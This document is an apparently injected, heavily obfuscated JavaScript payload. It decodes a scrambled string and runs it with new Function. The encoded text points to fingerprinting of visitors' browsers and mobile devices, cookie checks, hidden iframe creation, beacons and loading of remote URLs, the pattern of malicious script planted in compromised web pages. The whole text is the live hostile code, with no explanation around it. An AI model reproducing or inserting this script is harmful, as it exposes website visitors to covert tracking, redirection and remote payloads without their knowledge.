wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();